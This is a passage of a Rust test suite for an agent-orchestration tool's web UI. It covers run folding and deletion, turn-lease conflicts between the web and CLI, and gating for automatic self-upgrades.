23185 1,
23186 "renderStats must call renderStatsQueue exactly once: {body}"
23187 );
23188 assert!(
23189 !gated.contains("renderStatsQueue"),
23190 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
23191 run-derived panels on an empty run history - the queue panel has to render \
23192 regardless: {gated}"
23193 );
23194 }
23195
23196 #[test]
23197 fn web_ui_delete_contract_in_front_end() {
23198 assert!(APP_JS.contains("deleteRun:"));
23200 assert!(APP_JS.contains("deleteTask:"));
23201
23202 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
23204 ..APP_JS.find("function renderRuns").unwrap()];
23205 assert!(!run_cards_slice.to_lowercase().contains("delete"));
23206
23207 assert!(APP_JS.contains("renderRunDelete"));
23209 assert!(APP_JS.contains("runDeleteReason"));
23210 assert!(APP_JS.contains("magi fold"));
23211 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
23212
23213 assert!(APP_JS.contains("cancel.focus"));
23215 assert!(APP_JS.contains("armedRunDelete"));
23216 assert!(APP_JS.contains("renderTaskDeleteBox"));
23217 assert!(APP_JS.contains("armed${cap(key)}"));
23218
23219 assert!(APP_JS.contains("disabled: status === \"running\""));
23221 }
23222
23223 #[test]
23243 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
23244 let build = APP_JS
23245 .find("function createRunCard")
23246 .expect("createRunCard exists");
23247 let update = APP_JS
23248 .find("function updateRunCard")
23249 .expect("updateRunCard exists");
23250 let end = APP_JS
23251 .find("function renderRuns")
23252 .expect("renderRuns exists");
23253
23254 let builder = &APP_JS[build..update];
23256 let open = builder.find("refs = {").expect("createRunCard sets refs");
23257 let literal = &builder[open + "refs = {".len()..];
23258 let close = literal.find('}').expect("the refs literal is closed");
23259 let published: HashSet<&str> = literal[..close]
23260 .split(',')
23261 .filter_map(|entry| entry.split(':').next())
23263 .map(str::trim)
23264 .filter(|name| !name.is_empty())
23265 .collect();
23266 assert!(
23267 published.len() > 5,
23268 "the refs literal did not parse into names: {published:?}"
23269 );
23270
23271 let mut used: Vec<&str> = Vec::new();
23274 let updaters = &APP_JS[update..end];
23275 for (at, _) in updaters.match_indices("r.") {
23276 let before = updaters[..at].chars().next_back();
23279 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
23280 continue;
23281 }
23282 let rest = &updaters[at + 2..];
23283 let len = rest
23284 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
23285 .unwrap_or(rest.len());
23286 if len > 0 {
23287 used.push(&rest[..len]);
23288 }
23289 }
23290 assert!(
23291 used.len() > 5,
23292 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
23293 );
23294
23295 let missing: Vec<&str> = used
23296 .iter()
23297 .copied()
23298 .filter(|name| !published.contains(name))
23299 .collect();
23300 assert!(
23301 missing.is_empty(),
23302 "a run card's updater reaches for {missing:?}, which `createRunCard` \
23303 never put in `refs` - every card will throw and the list will \
23304 render empty under a count line that says otherwise. Published: \
23305 {published:?}"
23306 );
23307 }
23308
23309 #[tokio::test]
23310 async fn folding_from_the_phone_reports_what_it_removed() {
23311 let fx = Fixture::start().await;
23312 let runs = fx.runs();
23313
23314 let id = "20260901-000000-fold";
23318 write_run(&runs, id, RunStatus::Stalled);
23319 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23320 assert_eq!(res.status, 200);
23321 assert_eq!(res.json()["removed_count"], 0);
23322 assert_eq!(res.json()["run"], id);
23323 assert!(
23324 runs.join(id).exists(),
23325 "a fold keeps the run's record; only the worktrees go"
23326 );
23327 }
23328
23329 #[tokio::test]
23330 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
23331 let fx = Fixture::start().await;
23332 let runs = fx.runs();
23333 let wt = fx.home.path().join("wt").join("magi").join("dead");
23334 let id = "20260901-000000-dead";
23335 std::fs::create_dir_all(runs.join(id)).expect("run dir");
23336 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23337 std::fs::create_dir_all(&wt).expect("worktree dir");
23338
23339 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23340 assert_eq!(res.status, 200, "{}", res.body);
23341 assert!(
23342 res.json()["removed_count"].as_u64().unwrap() > 0,
23343 "the worktree this build could not read a state for still went"
23344 );
23345 assert!(
23346 !runs.join(id).exists(),
23347 "an unreadable run has no candidate list to fold selectively, so \
23348 the whole record goes - same as `magi fold` on the CLI"
23349 );
23350 }
23351
23352 #[tokio::test]
23353 async fn deleting_an_unreadable_run_removes_it_wholesale() {
23354 let fx = Fixture::start().await;
23355 let runs = fx.runs();
23356 let wt = fx.home.path().join("wt").join("magi").join("gone");
23357 let id = "20260901-000000-gone";
23358 std::fs::create_dir_all(runs.join(id)).expect("run dir");
23359 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23360 std::fs::create_dir_all(&wt).expect("worktree dir");
23361
23362 let res = fx.delete(&format!("/api/runs/{id}")).await;
23363 assert_eq!(res.status, 204, "{}", res.body);
23364 assert!(!runs.join(id).exists(), "the broken record is gone");
23365 assert!(!wt.exists(), "its worktree is gone too");
23366 }
23367
23368 #[tokio::test]
23369 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
23370 let fx = Fixture::start().await;
23371 let runs = fx.runs();
23372 let id = "20260901-000000-live";
23373 write_run(&runs, id, RunStatus::Implementing);
23374
23375 let mut beat = crate::daemon::Status::new();
23376 beat.current = vec![crate::daemon::Current {
23377 worker: None,
23378 task: "20260901-000000-task".to_owned(),
23379 run: id.to_owned(),
23380 }];
23381 beat.updated_at = jiff::Timestamp::now();
23382 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23383 .expect("publish a heartbeat");
23384
23385 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23386 assert_eq!(res.status, 409);
23387 assert!(
23388 res.json()["error"]
23389 .as_str()
23390 .unwrap()
23391 .contains("live daemon"),
23392 "folding under a running agent would pull its worktree away"
23393 );
23394 }
23395
23396 #[tokio::test]
23397 async fn fold_merged_requires_a_pr_url() {
23398 let fx = Fixture::start().await;
23399 let runs = fx.runs();
23400 let id = "20260901-000000-nourl";
23401 write_run(&runs, id, RunStatus::Blocked);
23402
23403 let res = fx
23404 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
23405 .await;
23406 assert_eq!(res.status, 400, "{}", res.body);
23407
23408 let blank = fx
23409 .post(
23410 &format!("/api/runs/{id}/fold-merged"),
23411 Some(r#"{"pr_url":" "}"#),
23412 )
23413 .await;
23414 assert_eq!(blank.status, 400, "{}", blank.body);
23415 }
23416
23417 #[tokio::test]
23418 async fn fold_merged_is_404_for_an_unknown_run() {
23419 let fx = Fixture::start().await;
23420 let res = fx
23421 .post(
23422 "/api/runs/nosuchrun/fold-merged",
23423 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23424 )
23425 .await;
23426 assert_eq!(res.status, 404, "{}", res.body);
23427 }
23428
23429 #[tokio::test]
23430 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
23431 let fx = Fixture::start().await;
23432 let runs = fx.runs();
23433 let id = "20260901-000000-livemerge";
23434 write_run(&runs, id, RunStatus::Blocked);
23435
23436 let mut beat = crate::daemon::Status::new();
23437 beat.current = vec![crate::daemon::Current {
23438 worker: None,
23439 task: "20260901-000000-task".to_owned(),
23440 run: id.to_owned(),
23441 }];
23442 beat.updated_at = jiff::Timestamp::now();
23443 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23444 .expect("publish a heartbeat");
23445
23446 let res = fx
23447 .post(
23448 &format!("/api/runs/{id}/fold-merged"),
23449 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23450 )
23451 .await;
23452 assert_eq!(res.status, 409, "{}", res.body);
23453 assert!(
23454 res.json()["error"]
23455 .as_str()
23456 .unwrap()
23457 .contains("live daemon"),
23458 "correcting a run's merge underneath a running agent would race \
23459 whatever it is doing to the same `status`/`merge` fields"
23460 );
23461 }
23462
23463 #[tokio::test]
23468 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
23469 let fx = Fixture::start().await;
23470 let runs = fx.runs();
23471 let id = "20260901-000000-unconfirmed";
23472 write_run(&runs, id, RunStatus::Blocked);
23473
23474 let res = fx
23475 .post(
23476 &format!("/api/runs/{id}/fold-merged"),
23477 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23478 )
23479 .await;
23480 assert_eq!(res.status, 400, "{}", res.body);
23481 assert_eq!(
23482 read_run(&runs, id).unwrap().status,
23483 RunStatus::Blocked,
23484 "a pull request that could not be confirmed merged must leave \
23485 the run exactly where it was"
23486 );
23487 }
23488
23489 #[tokio::test]
23490 async fn terminal_runs_cannot_be_resumed() {
23491 let fx = Fixture::start().await;
23492 let runs = fx.runs();
23493
23494 for (status, word) in [
23495 (RunStatus::Merged, "merged"),
23496 (RunStatus::Ready, "ready"),
23497 (RunStatus::Failed, "failed"),
23498 ] {
23499 let id = format!("20260901-000000-{}", &word[..4]);
23500 write_run(&runs, &id, status);
23501 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
23502 assert_eq!(res.status, 409, "{word} must not be resumable");
23503 }
23504 }
23505
23506 #[tokio::test]
23507 async fn resume_is_refused_while_the_loop_is_running() {
23508 let fx = Fixture::start().await;
23509 let runs = fx.runs();
23510 let stalled = "20260901-000000-stal";
23511 write_run(&runs, stalled, RunStatus::Stalled);
23512
23513 let mut beat = crate::daemon::Status::new();
23517 beat.current = vec![crate::daemon::Current {
23518 worker: None,
23519 task: "20260901-000000-task".to_owned(),
23520 run: "20260901-000000-othr".to_owned(),
23521 }];
23522 beat.updated_at = jiff::Timestamp::now();
23523 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23524 .expect("publish a heartbeat");
23525
23526 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
23527 assert_eq!(res.status, 409);
23528 let err = res.json()["error"].as_str().unwrap().to_owned();
23529 assert!(err.contains("othr"), "it names what the loop is on: {err}");
23530 assert!(err.contains("stop it first"), "{err}");
23531 }
23532
23533 #[test]
23534 fn a_run_cannot_be_resumed_twice_at_once() {
23535 let home = TempDir::new().expect("temp home");
23536 let ui = Ui::new(
23537 Queue::at(home.path().join("queue")),
23538 Questions::at(home.path().join("questions")),
23539 Talks::at(home.path().join("talks")),
23540 home.path().join("runs"),
23541 home.path().to_path_buf(),
23542 PathBuf::from("/repo"),
23543 )
23544 .with_worktrees_root(home.path().join("wt"));
23545 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
23546 let again = ui.begin_resume("20260901-000000-once");
23547 assert!(again.is_err(), "a second tap must not start a second graph");
23548 drop(first);
23549 assert!(
23550 ui.begin_resume("20260901-000000-once").is_ok(),
23551 "and the claim is released when the attempt ends"
23552 );
23553 }
23554
23555 #[test]
23556 fn talk_thinking_tracks_only_its_held_turn_claim() {
23557 let home = TempDir::new().expect("temp home");
23558 let ui = Ui::new(
23559 Queue::at(home.path().join("queue")),
23560 Questions::at(home.path().join("questions")),
23561 Talks::at(home.path().join("talks")),
23562 home.path().join("runs"),
23563 home.path().to_path_buf(),
23564 PathBuf::from("/repo"),
23565 )
23566 .with_worktrees_root(home.path().join("wt"));
23567 let id = "20260901-000000-once";
23568
23569 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
23570 let turn = ui.begin_talk_turn(id).expect("claim turn");
23571 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
23572 assert!(
23573 !ui.is_thinking("20260901-000000-other"),
23574 "one talk's turn does not make another talk busy"
23575 );
23576 drop(turn);
23577 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
23578 }
23579
23580 #[test]
23581 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
23582 let home = TempDir::new().expect("temp home");
23583 let talks = Talks::at(home.path().join("talks"));
23584 let ui = Ui::new(
23585 Queue::at(home.path().join("queue")),
23586 Questions::at(home.path().join("questions")),
23587 talks.clone(),
23588 home.path().join("runs"),
23589 home.path().to_path_buf(),
23590 PathBuf::from("/repo"),
23591 )
23592 .with_worktrees_root(home.path().join("wt"));
23593 let id = "20260901-000000-cross";
23594
23595 let other = Talks::at(home.path().join("talks"))
23596 .claim_turn(id)
23597 .expect("claim")
23598 .expect("the other process wins");
23599 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
23600 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
23601 assert!(
23602 matches!(
23603 ui.begin_talk_turn_unless_pending(id).expect("start"),
23604 TalkTurnStart::Foreign
23605 ),
23606 "a foreign holder is refused, not queued behind"
23607 );
23608 assert!(
23609 !ui.talk_turns.lock().unwrap().live.contains(id),
23610 "a refused claim leaves no in-process entry behind"
23611 );
23612 drop(other);
23613 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
23614 assert!(talks.turn_held(id), "the web turn holds the lease");
23615 drop(turn);
23616 assert!(
23617 !talks.turn_held(id),
23618 "dropping the guard releases the lease"
23619 );
23620 }
23621
23622 fn consult_question(ui: &Ui) -> Question {
23623 let mut q = Question::new(
23624 "20260901-000000-consult".to_owned(),
23625 "implement".to_owned(),
23626 "impl-A".to_owned(),
23627 "Which backend?".to_owned(),
23628 String::new(),
23629 vec!["SQLite".to_owned(), "Redis".to_owned()],
23630 );
23631 ui.questions.put(&mut q).expect("question");
23632 q
23633 }
23634
23635 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23636 (
23637 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23638 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23639 )
23640 }
23641
23642 #[tokio::test]
23643 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23644 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23645 let q = consult_question(&ui);
23646 let talk = ui.talks.get(&id).expect("talk");
23647 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23648 let before = consult_snapshot(&ui, &q, &id);
23649 let cli_talks = Talks::at(ui.home.join("talks"));
23650 assert_eq!(
23651 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23652 .await
23653 .expect("CLI starter"),
23654 crate::consult::Started::Busy
23655 );
23656 assert_eq!(consult_snapshot(&ui, &q, &id), before);
23657 assert!(ui.is_thinking(&id));
23658 drop(guard);
23659 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23660 }
23661
23662 #[tokio::test]
23663 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23664 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23665 let q = consult_question(&ui);
23666 let talk = ui.talks.get(&id).expect("talk");
23667 let started = tmp.path().join("started");
23668 let release = tmp.path().join("release");
23669 let script = tmp.path().join("consult-agent.sh");
23670 std::fs::write(
23671 &script,
23672 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
23673 )
23674 .expect("script");
23675 let mut cfg = stub_config();
23676 cfg.agents[0].id = "mock".to_owned();
23677 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23678 cfg.agents[0].env = std::collections::BTreeMap::from([
23679 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23680 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23681 ]);
23682 let questions = ui.questions.clone();
23683 let cli_talks = Talks::at(ui.home.join("talks"));
23684 let cli_q = q.clone();
23685 let turn = tokio::spawn(async move {
23686 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23687 });
23688 let ready = tokio::time::timeout(Duration::from_secs(30), async {
23689 while !started.exists() {
23690 tokio::time::sleep(Duration::from_millis(10)).await;
23691 }
23692 })
23693 .await;
23694 let refusal = if ready.is_ok() {
23697 let before = consult_snapshot(&ui, &q, &id);
23698 let result = talk_say(
23699 State(Arc::clone(&ui)),
23700 Path(id.clone()),
23701 Ok(Json(NewTalkTurn {
23702 reply_to: None,
23703 text: "another message".to_owned(),
23704 attachments: Vec::new(),
23705 })),
23706 )
23707 .await;
23708 Some((result, before, consult_snapshot(&ui, &q, &id)))
23709 } else {
23710 None
23711 };
23712 std::fs::write(&release, "").expect("release agent");
23713 let done = turn.await.expect("join CLI turn");
23714 ready.expect("agent started before deadline");
23715 let (result, before, after) = refusal.expect("web request");
23716 let error = result.expect_err("web must refuse the CLI's turn");
23717 assert_eq!(error.status, StatusCode::CONFLICT);
23718 assert!(error.message.contains("a turn is already running"));
23719 assert_eq!(
23720 after, before,
23721 "refusal preserves question, draft and history"
23722 );
23723 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
23724 let guard = ui
23725 .begin_talk_turn(&id)
23726 .expect("web claim")
23727 .expect("free again");
23728 drop(guard);
23729 }
23730
23731 #[test]
23732 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
23733 let home = TempDir::new().expect("temp home");
23734 let talks = Talks::at(home.path().join("talks"));
23735 let ui = Ui::new(
23736 Queue::at(home.path().join("queue")),
23737 Questions::at(home.path().join("questions")),
23738 talks.clone(),
23739 home.path().join("runs"),
23740 home.path().to_path_buf(),
23741 PathBuf::from("/repo"),
23742 )
23743 .with_worktrees_root(home.path().join("wt"));
23744 let id = "20260901-000000-order";
23745 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
23746 let slots = ui.talk_turns.lock().unwrap();
23748 let dropper = std::thread::spawn(move || drop(turn));
23749 let start = std::time::Instant::now();
23750 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
23751 std::thread::sleep(Duration::from_millis(5));
23752 }
23753 assert!(!talks.turn_held(id), "the lease is released first");
23754 assert!(slots.live.contains(id), "the slot is still held meanwhile");
23755 drop(slots);
23756 dropper.join().expect("join");
23757 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
23758 }
23759
23760 #[tokio::test]
23761 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
23762 let fx = Fixture::start().await;
23763 let mut beat = crate::daemon::Status::new();
23764 beat.worker_protocol = None;
23765 beat.pid = 4321;
23766 beat.updated_at = jiff::Timestamp::now();
23767 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23768 .expect("publish a heartbeat");
23769
23770 let res = fx.post("/api/upgrade", None).await;
23771 assert_eq!(res.status, 409);
23772 }
23773
23774 #[test]
23781 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
23782 assert!(!should_spawn_recheck(&crate::config::Update {
23783 mode: UpdateMode::Off,
23784 interval: None,
23785 auto_restart: false,
23786 }));
23787
23788 unsafe {
23791 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23792 }
23793 let killed = should_spawn_recheck(&crate::config::Update {
23794 mode: UpdateMode::Notify,
23795 interval: None,
23796 auto_restart: false,
23797 });
23798 unsafe {
23799 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23800 }
23801 assert!(
23802 !killed,
23803 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23804 one-time startup check"
23805 );
23806
23807 assert!(should_spawn_recheck(&crate::config::Update {
23808 mode: UpdateMode::Notify,
23809 interval: None,
23810 auto_restart: false,
23811 }));
23812 }
23813
23814 #[test]
23820 fn recheck_poll_period_tracks_a_short_configured_interval() {
23821 let short = crate::config::Update {
23822 mode: UpdateMode::Notify,
23823 interval: Some("1m".to_owned()),
23824 auto_restart: false,
23825 };
23826 let period = recheck_poll_period(&short);
23827 assert!(
23828 period <= Duration::from_secs(30),
23829 "a one-minute interval must wake the task far sooner than the \
23830 default ceiling, or the deck would not notice within the \
23831 interval the operator configured: got {period:?}"
23832 );
23833
23834 let default = crate::config::Update {
23835 mode: UpdateMode::Notify,
23836 interval: None,
23837 auto_restart: false,
23838 };
23839 assert_eq!(
23840 recheck_poll_period(&default),
23841 UPDATE_RECHECK_POLL_MAX,
23842 "the default day-long interval should poll at the (capped) \
23843 ceiling rather than needlessly often"
23844 );
23845 }
23846
23847 #[test]
23855 fn recheck_skips_the_network_before_the_interval_elapses() {
23856 let dir = TempDir::new().expect("temp dir");
23857 let path = dir.path().join("state.json");
23858 let state = kaishin::UpdateCheckState {
23859 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23860 last_known_latest: None,
23861 last_known_url: None,
23862 };
23863 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23864
23865 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23866 assert!(
23867 !update_recheck_due(&checker, None),
23868 "a check made moments ago must not be repeated before the \
23869 configured interval elapses"
23870 );
23871 }
23872
23873 #[test]
23879 fn recheck_defers_to_an_upgrade_already_in_flight() {
23880 let dir = TempDir::new().expect("temp dir");
23881 let path = dir.path().join("state.json");
23882 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23883 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23884
23885 assert!(
23886 !update_recheck_due(&checker, Some(&progress)),
23887 "a recheck must not run while an upgrade this deck started is \
23888 still moving"
23889 );
23890 }
23891
23892 #[tokio::test]
23893 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23894 unsafe {
23906 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23907 }
23908 let fx = Fixture::start().await;
23909 let res = fx.post("/api/upgrade", None).await;
23910 unsafe {
23911 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23912 }
23913 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23914 let body = res.json();
23915 assert!(body["to"].is_null(), "there was no release to move to");
23916 assert!(body["parked"].is_null(), "and nothing was parked");
23917 assert!(
23918 body["detail"]
23919 .as_str()
23920 .unwrap()
23921 .contains("disabled by MAGI_NO_AUTOUPDATE"),
23922 "{body:?}"
23923 );
23924 }
23925
23926 #[test]
23927 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23928 use AutoUpgradeDecision::{Skip, Trigger, Wait};
23929 let mut cfg = Update::default();
23930 assert!(matches!(
23931 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23932 Skip(_)
23933 ));
23934 cfg.auto_restart = true;
23935 assert_eq!(
23936 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23937 Trigger
23938 );
23939 assert_eq!(
23940 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23941 Wait
23942 );
23943 for (disabled, moving, failed) in [
23944 (true, false, None),
23945 (false, true, None),
23946 (false, false, Some("v2")),
23947 ] {
23948 assert!(matches!(
23949 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23950 Skip(_)
23951 ));
23952 }
23953 assert_eq!(
23954 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
23955 Trigger
23956 );
23957 cfg.mode = UpdateMode::Off;
23958 assert!(matches!(
23959 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23960 Skip(_)
23961 ));
23962 }
23963
23964 #[test]
23965 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
23966 let home = TempDir::new().unwrap();
23967 let ui = idle_ui(&home);
23968 assert!(!ui.auto_upgrade_busy());
23969 let directory = home.path().join("workers/jobs/abcdef");
23970 std::fs::create_dir_all(&directory).unwrap();
23971 let mut job = crate::worker::Job {
23972 id: "abcdef".into(),
23973 sequence: 1,
23974 kind: "scheduler".into(),
23975 key: "scheduler".into(),
23976 payload: serde_json::json!({}),
23977 generation: "test".into(),
23978 version: None,
23979 status: crate::worker::Status::Running,
23980 result: None,
23981 pid: None,
23982 created_at: 0,
23983 finished_at: None,
23984 };
23985 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
23986 let write = |job: &crate::worker::Job| {
23987 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
23988 };
23989 write(&job);
23990 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
23991 for kind in ["task", "chat"] {
23992 job.kind = kind.into();
23993 write(&job);
23994 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
23995 }
23996 drop(lease);
23997 assert!(
24001 !ui.auto_upgrade_busy(),
24002 "completed execution permits updates"
24003 );
24004 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
24005 assert!(
24006 ui.auto_upgrade_busy(),
24007 "unreadable worker state defers updates"
24008 );
24009 }
24010
24011 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24012 Box::pin(async { anyhow::bail!("test installer failed") })
24013 }
24014
24015 #[tokio::test]
24016 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
24017 let home = TempDir::new().unwrap();
24018 std::fs::write(
24019 home.path().join("magi.toml"),
24020 "[update]\nauto_restart = true\n",
24021 )
24022 .unwrap();
24023 let mut ui = idle_ui(&home);
24024 ui.repo = home.path().to_path_buf();
24025 ui.upgrade_runner = fail_test_upgrade;
24027 let ui = Arc::new(ui);
24028 let latest = || {
24029 Some(kaishin::LatestRelease {
24030 tag_name: "v999.0.0".into(),
24031 html_url: String::new(),
24032 })
24033 };
24034 ui.talk_turns.lock().unwrap().live.insert("busy".into());
24035 assert_eq!(
24036 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24037 .await
24038 .status(),
24039 StatusCode::NO_CONTENT
24040 );
24041 assert!(updater::read_progress(home.path()).is_none());
24042 ui.talk_turns.lock().unwrap().live.clear();
24043 let gate = ui.upgrade_gate.lock().await;
24044 assert_eq!(
24045 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24046 .await
24047 .status(),
24048 StatusCode::CONFLICT
24049 );
24050 drop(gate);
24051 assert_eq!(
24052 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24053 .await
24054 .status(),
24055 StatusCode::ACCEPTED
24056 );
24057 let progress = updater::read_progress(home.path()).unwrap();
24058 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24059 assert_eq!(progress.stage, updater::Stage::Downloading);
24060 assert!(progress.parked_run.is_none());
24061 assert!(ui.start_detached_loop().await.is_err());
24062 assert!(ui.start_loop(None).is_err());
24063 assert!(ui.begin_resume("late").is_err());
24064 tokio::time::timeout(Duration::from_secs(2), async {
24065 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24066 tokio::task::yield_now().await;
24067 }
24068 })
24069 .await
24070 .unwrap();
24071 let progress = updater::read_progress(home.path()).unwrap();
24072 assert_eq!(progress.stage, updater::Stage::Failed);
24073 assert_eq!(
24074 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24075 .await
24076 .status(),
24077 StatusCode::NO_CONTENT
24078 );
24079 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
24081 assert_eq!(
24082 finish_upgrade_request(&ui, result).status(),
24083 StatusCode::ACCEPTED
24084 );
24085 assert_eq!(
24086 updater::read_progress(home.path()).unwrap().trigger,
24087 updater::UpgradeTrigger::Manual
24088 );
24089 tokio::time::timeout(Duration::from_secs(2), async {
24090 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24091 tokio::task::yield_now().await;
24092 }
24093 })
24094 .await
24095 .unwrap();
24096 }
24097
24098 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
24099 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
24100 p.stage = stage;
24101 p
24102 }
24103
24104 #[test]
24105 fn busy_stages_match_the_ui_set() {
24106 use crate::updater::Stage;
24107 assert!(APP_JS.contains(
24108 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
24109 ));
24110 for s in [
24111 Stage::Downloading,
24112 Stage::Replaced,
24113 Stage::Parking,
24114 Stage::Restarting,
24115 ] {
24116 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
24117 }
24118 for s in [Stage::Done, Stage::Failed] {
24119 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
24120 }
24121 assert!(upgrade_in_motion(None).is_none());
24122 }
24123
24124 #[tokio::test]
24125 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
24126 use crate::updater::Stage;
24127 for stage in [
24128 Stage::Downloading,
24129 Stage::Replaced,
24130 Stage::Parking,
24131 Stage::Restarting,
24132 ] {
24133 let fx = Fixture::start().await;
24134 let seeded = seeded_progress(stage);
24135 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
24136 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24137 .expect("read");
24138
24139 let res = fx.post("/api/upgrade", None).await;
24140 assert_eq!(res.status, 409, "{stage:?}");
24141 let err = res.json()["error"].as_str().unwrap().to_owned();
24142 assert!(err.contains("already in progress"), "{err}");
24143 assert!(err.contains(stage.as_str()), "{err}");
24144
24145 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24146 .expect("read");
24147 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
24148 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
24149 .unwrap_or_default();
24150 assert!(!log.contains("signalling HANDOVER"), "{log}");
24151 }
24152 }
24153
24154 #[test]
24155 fn upgrade_retry_timing_only_parses_known_diagnostics() {
24156 assert_eq!(
24157 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
24158 Some(3723)
24159 );
24160 assert_eq!(
24161 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
